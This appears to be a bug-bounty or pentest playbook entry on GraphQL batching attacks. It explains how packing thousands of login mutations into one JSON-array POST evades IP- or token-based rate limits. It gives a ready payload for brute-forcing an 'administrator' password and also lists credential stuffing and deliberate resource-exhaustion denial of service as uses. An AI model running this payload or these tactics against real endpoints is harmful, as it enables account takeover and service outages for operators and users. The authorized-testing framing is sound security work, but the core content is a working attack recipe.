graphql-batching-attacks

GraphQL Batching Attacks

When to Use

• When testing a GraphQL endpoint (/graphql) protected by standard, IP-based or token-based Rate Limiting (e.g., Akamai, Cloudflare, AWS WAF).
• During credential stuffing or password brute-forcing scenarios where the API enforces a limit of "5 login attempts per minute".
• To severely impact the backend database's availability (Resource Exhaustion DOS) by forcing thousands of massive, simultaneous queries that the frontend proxy interprets as a single web request.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Understanding Standard Rate Limiting Constraints The WAF

// Concept: Standard REST APIs require one HTTP request per action: 
// POST /api/login -> "Username: admin, Password: 1" (Attempt 1)
// POST /api/login -> "Username: admin, Password: 2" (Attempt 2)
//
// The WAF simply counts the HTTP requests and blocks the IP address at Attempt 5.

// GraphQL is fundamentally different. It accepts an Array [] of completely distinct queries 
// within a single HTTP POST envelope. The WAF counts it as "One Request".

Phase 2: Array-Based Query Batching (The Array Bypass)

// Concept: Pass an array of multiple distinct operation requests to the server simultaneously.

// 1. The Payload:
[
  { "query": "mutation { login(username: \"administrator\", password: \"Password1\") { token } }" },
  { "query": "mutation { login(username: \"administrator\", password: \"Password2\") { token } }" },
  { "query": "mutation { login(username: \"administrator\", password: \"Password3\") { token } }" },
  ... // Pack 5,000 login attempts here
]

// 2. The Execution:
// Send one single HTTP POST request containing the JSON array.
// The GraphQL resolver (e.g., Apollo Server) iterates through the array natively, executing 
// all 5,000 database login checks bypassing the WAF's 5-per-minute restriction.